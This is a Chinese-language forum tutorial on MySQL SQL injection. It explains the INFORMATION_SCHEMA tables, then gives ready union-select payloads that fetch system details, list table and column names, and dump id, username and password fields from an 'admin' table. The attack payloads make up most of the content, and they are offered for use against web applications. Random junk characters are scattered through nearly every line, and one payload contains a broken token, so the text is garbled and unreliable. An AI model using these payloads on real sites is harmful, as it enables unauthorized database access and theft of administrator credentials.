本文介绍MYSQL盲注的一些语句和方法, i4 u3 x( e+ o% G: G
# B( p9 _+ \. h0 g8 e+ o% s3 z
学习盲注前先了解下 IFORMATION_SCHEMA 库* \/ g7 h+ {$ |
* b! q# U% j( i6 y# F- N+ E
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
3 i- t3 a6 t8 ]; X3 q2 i6 T: m! j7 P存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。4 N& ^8 ?+ v- f% W8 p
1.得到所有数据库名:
1 [5 u+ U0 J1 ||SCHEMATA ->存储数据库名的表
7 t' D/ A3 o: u8 C. {|---字段:SCHEMA_NAME ->数据库名称
4 `' x" ?' M5 P* m. T) A- e" q! W
/ i) n% I ]( a/ a+ \; D) {|TABLES ->存储表名
! u: y1 f) b3 ^9 Q|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
# Q6 u2 v0 V3 q|---字段:TABLE_NAME ->存储表的表名$ Z2 C4 W( J) S6 a( A
x7 ~0 [# J1 l4 Y1 j0 R4 h L ]|COLUMNS ->存储的字段名表
; P% X' c! ?: u. f- G|---字段:TABLE_SCHEMA ->该字段所属数据库名' J; `5 v# ^% Z; d# a1 J/ h( p
|---字段:TABLE_NAME ->存储所属表的名称
, o+ ?7 f+ E& g) S _) N+ @: t) l2 f+ Z" f5 w* { r+ r- n V8 z6 T) q! j0 l
|---字段:COLUMN_NAME ->该字段的名称6 a2 p; w1 t( ?9 `3 a& l
3 M& T! o' w/ I5 O% w : u1 B8 T* f2 X4 d- w1 N# g
# K$ x1 i6 x& H" I! F- z
###########################################################################
7 i9 X# V' D& D( ?. D3 k, q( Z0 P; o" ~/ ^& W5 ^4 u
0x001 获取系统信息:$ u# q. j; t' E& @; R, G
! `' j7 w0 o" P; v6 Y& i/ A, r
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
6 Y. D/ c% `) K! q" H1 Q( J: o' r! e2 |) J- A% D
/*# ^$ D% J4 Q" n4 x( F/ S
1 n+ }& R. P; S* i: O' {@@global.version_compile_os 获取系统版本
3 u, f* }9 _5 P I9 b0 S" D5 c& f, m% `7 C; {6 _
@@datadir 数据库路径& m- d( w% n% E L/ S0 x5 c2 D
database() 当前数据库名称! Q( q* A6 I ?, Y$ d* \
0x3c62723e 换行HEX值# z7 Y4 _" |8 q0 a
- [; q3 q/ G1 g# w& u7 q- W, y& e0 t*/6 d6 w5 C7 K: w$ j8 q" C
' J: s8 a* y4 d7 k( w# d
7 j7 R7 ~- Q3 e2 i! } G! f9 i0 o0 @/ u( ^- ^/ l! ]
######################################################################
" B1 a" L( T0 M; g1 ^+ @" G f* {
0x002 获取表名( z$ o( F% d4 N% Y
8 a' e' Q9 w4 Y! L' _6 L7 ounion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*9 l7 D4 k- \* p5 n
, f0 @" e9 S3 E3 K* A, g4 v/ m( K
N J) n0 E+ x2 u
) v _. `+ k6 M
/*( A+ J- i! \1 J7 v
- }* K! y x5 V; \+ c* J, n0x67617264656e 为当前数据库名9 f& e1 t8 S {9 P) [' w- s( x
1 i5 ~; V- {; xgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
) \8 E2 G% \! J. z6 L
' t+ g8 u0 [3 t% W U( S; W+ t9 ~*/" q1 @1 @6 O' H( o$ Z% o
; p5 k' m) {1 m6 C######################################################################8 J+ e' q r6 K# Y; P T- }) s1 T
4 U9 F! M8 e; p& m* }
$ w4 g$ ~! ^5 C2 t u3 `
2 W) P) B8 |1 x$ i# T3 J7 t2 a0x003 获取字段
$ M8 D1 V8 L+ k6 K4 S4 n+ s$ A2 y! [6 w9 M. Y: H
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*7 \8 G2 p; i. T8 a s2 Z
+ s3 r3 `0 q- \9 d4 M2 e' J/*
- R. D/ X, e4 w/ `; ~: t
5 j( C8 B4 }5 c. M/ Ygroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段6 Q9 v+ N1 C: _3 i- E
7 L2 y5 r1 s+ j- f/ z# A; v: r0x61646d696e ->选择一个表5 T3 z' n. Y2 ^; G, \: C2 ~4 {
@+ @8 Y( d+ L/ o% b
0x67617264656e ->数据库名
; v1 j# i' Z7 D5 g9 ]- W! u6 m1 v! ~9 q4 P, c
*/
* W9 Q" ~* K4 H% q! h0 e N
: R. F& w( L2 y I6 B! m; ~#####################################################################
$ N" D& Q2 P! O% \8 e& I2 D, `
8 w' c/ }2 @, q+ ]# y( t9 R , X- J6 x7 ?) {# A: L/ P
% { d* g0 f1 x [* L4 F9 ^0x004 获取数据
( B: N" O$ q- R+ M0 W9 O$ _& _4 O* Z7 E+ N) a. `' _8 @2 B
union select 1,2,3
% M, i) S; v* f" M$ {,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
I# A, o" v% A( ]: F4 p: q/ R; E# C: {2 S/ ]% ~; k# J9 B% j
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
- h" M" W; ]! I& Y
! C" \ u8 s0 k. b 8 Q& u' ~4 } j5 W4 h3 c1 Y
" k1 Z* U2 t. y& [/*, \" ]5 {; D$ \7 G* w0 W
[7 J$ B; L/ E) y
0x3c62723e 换行符号HEX编码
) M+ S' t x& _ I: Y& G! ~; E. j. N
group_concat 同时获得该字段所有数据
% @0 G( z$ c, o+ D6 B2 a3 I
, @9 h9 B) ~' |1 h/ |! V*/
. P S6 K$ V2 H, j/ V4 C l, @2 K3 s1 j
|